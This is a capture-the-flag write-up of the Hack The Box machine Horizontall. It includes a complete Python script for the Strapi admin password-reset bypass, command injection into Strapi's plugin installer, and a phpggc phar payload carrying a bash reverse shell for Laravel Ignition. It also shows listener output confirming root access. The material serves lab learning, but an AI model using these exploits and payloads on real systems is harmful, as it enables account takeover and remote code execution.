Hack The Box - Horizontall

info_card

Horizontall is an easy rated machine on HackTheBox created by wail99. To get user we will abuse 2 CVE’s in a strapi application whichs result in a reverse shell on the machine. There we discover a laravel installation listening on localhost which is vulnerable to phar deserialization. Forwarding it to our machine we are able to exploit this to get a reverse shell as the root user.

User

Nmap

As usual we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones.

All ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p-  -T4  10.129.193.59
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 19:44 GMT
Nmap scan report for 10.129.193.59
Host is up (0.052s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 85.01 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -p22,80 -sC -sV  10.129.193.59
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 19:47 GMT
Nmap scan report for 10.129.193.59
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds

Strapi

From the 2 open ports http promises more success, so we add the leaked domain name to our /etc/hosts and open the page in our browser. Looking at the page it seems to be fully static with almost no functionality.

horizontall_home

Fuzzing for additional subdomains we can retrieve two other ones. www looks the same as the other page, api-prod is different though.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.horizontall.htb' -u http://horizontall.htb/ -fs 194

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 194
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 1590 req/sec :: Duration: [0:01:15] :: Errors: 0 ::

Password reset | CVE-2019-18818

Opening it in our browser it just displays a short welcome message.

api_welcome

Bruteforcing directories with gobuster we find a /admin directory which reveals a strapi login interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://api-prod.horizontall.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/28 20:19:24 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 200) [Size: 854]
/Admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60]
/reviews              (Status: 200) [Size: 507]
/.                    (Status: 200) [Size: 413]

strapi_login

Looking for vulnerabilities in strapi there is a CVE which promises authentication bypass by resetting the password of a user. Looking at the PoC for CVE-2019-18818 we need a valid email to make it work. We can do this by checking the password reset functionality on the login. If we enter a likely invalid email it tells us the email does not exist.

fail_pw_reset

Testing the username admin with the domain found earlier there is no error though, indicating this email is valid.

succ_pw_reset

Now we just need to download the script from the PoC and run it with the email, url and new password we want to set on the user.

resetpw.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import sys
import json

args=sys.argv

if len(args) < 4:
    print("Usage: {} <admin_email> <url> <new_password>".format(args[0]))
    exit(-1)

email = args[1]
url = args[2]
new_password =  args[3]

s  =  requests.Session()

version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)

print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))

#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)

#Reset password to
print("[*] Setting new password...")
exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)

print("[*] Response:")
print(str(r.content))
1
2
3
4
5
6
$ python resetpw.py admin@horizontall.htb http://api-prod.horizontall.htb whatever
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMTgzMDI4LCJleHAiOjE2MzI3NzUwMjh9.ES00z3EnbKK8iodAbp8XBsN2QrWiLJZCMMxIIXRe15Y","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}'

After the script successfully completes we are now able to log into strapi as the admin@horizontall.htb user.

logged_in

Command injection | CVE-2019-19609

There is another CVE affecting this version of strapi. Following this PoC we are able to abuse command injection in the plugin value of the /admin/plugins/install functionality.

intercept_plugins

For this we first intercept an authenticated request with burp for a request with our JWT to build upon and start a ncat listener.

burp_jwt

1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Next we rewrite the request to a similar formatting as the curl request in the blogpost before sending it. We instantly get a reverse shell back which we upgrade and fix the terminal size. Looking a bit around we can now already read the user flag.

revshell_burp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.193.59.
Ncat: Connection from 10.129.193.59:60216.
bash: cannot set terminal process group (1797): Inappropriate ioctl for device
bash: no job control in this shell
strapi@horizontall:~/myapi$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
strapi@horizontall:~/myapi$ export TERM=xterm
export TERM=xterm
strapi@horizontall:~/myapi$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

strapi@horizontall:~/myapi$ stty rows 55 cols 236
strapi@horizontall:~/myapi$ find / -name user.txt -ls 2>/dev/null
   272801      4 -r--r--r--   1 developer developer       33 Aug 28 19:01 /home/developer/user.txt
strapi@horizontall:~$ wc -c /home/developer/user.txt
33 /home/developer/user.txt

Root

Laravel phar deserialization | CVE-2021-3129

Looking for open ports on localhost we see port 8000 and 1337 being open next to mysql on 3306. Connecting to 1337 it returns the same as the subdomain of the webserver. Checking 8000 though with curl it seems to host a laravel installation.

1
2
3
4
5
6
7
8
9
strapi@horizontall:~$ ss -ln | grep LIST
...[snip]...
tcp  LISTEN 0      128                                     127.0.0.1:8000                                           0.0.0.0:*
tcp  LISTEN 0      80                                      127.0.0.1:3306                                           0.0.0.0:*
tcp  LISTEN 0      128                                       0.0.0.0:80                                             0.0.0.0:*
tcp  LISTEN 0      128                                       0.0.0.0:22                                             0.0.0.0:*
tcp  LISTEN 0      128                                     127.0.0.1:1337                                           0.0.0.0:*
tcp  LISTEN 0      128                                          [::]:80                                                [::]:*
tcp  LISTEN 0      128                                          [::]:22                                                [::]:*

To take a better look at it we first generate an ssh keypair with ssh-keygen, copy the public key to /opt/strapi/.ssh/authorized_keys and connect with our private key to forward the port. On a new line we enter ~C, which drops us into the ssh command console where we can enter our portforward.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh -i strapi strapi@horizontall.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Aug 28 20:49:24 UTC 2021

  System load:  0.05              Processes:           201
  Usage of /:   83.0% of 4.85GB   Users logged in:     2
  Memory usage: 36%               IP address for eth0: 10.129.193.59
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Aug 28 20:17:19 2021 from 10.10.14.68
$
$
ssh> -L:8001:127.0.0.1:8000
Forwarding port.

Browsing to port 8001 on localhost now we see the laravel installation.

laravel_home

Looking online for vulnerabilities we stumble accross this blogpost. Testing if the conditions are met, we are able to provoke a stacktrace and prove that debug mode is enabled and ignition present.

laravel_stacktrace

We can now use this PoC which belongs to the blogpost to exploit this. Along the exploit script we also need phpgcc to create our malicious phar.

First we generate the phar file with phpggc, specifying a reverse shell as payload and set up a ncat listener again.

1
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "bash -c 'bash -i >&/dev/tcp/10.10.14.68/7575 0>&1'"
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Next we exectue the python script with our previously generated phar.

1
2
3
4
$ python3 laravel-ignition-rce.py http://localhost:8001/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !

We almost instantly get a reverse shell back as the root user and are able to add the flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.193.59.
Ncat: Connection from 10.129.193.59:60260.
bash: cannot set terminal process group (11736): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# id
id
uid=0(root) gid=0(root) groups=0(root)
root@horizontall:/home/developer/myproject/public# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt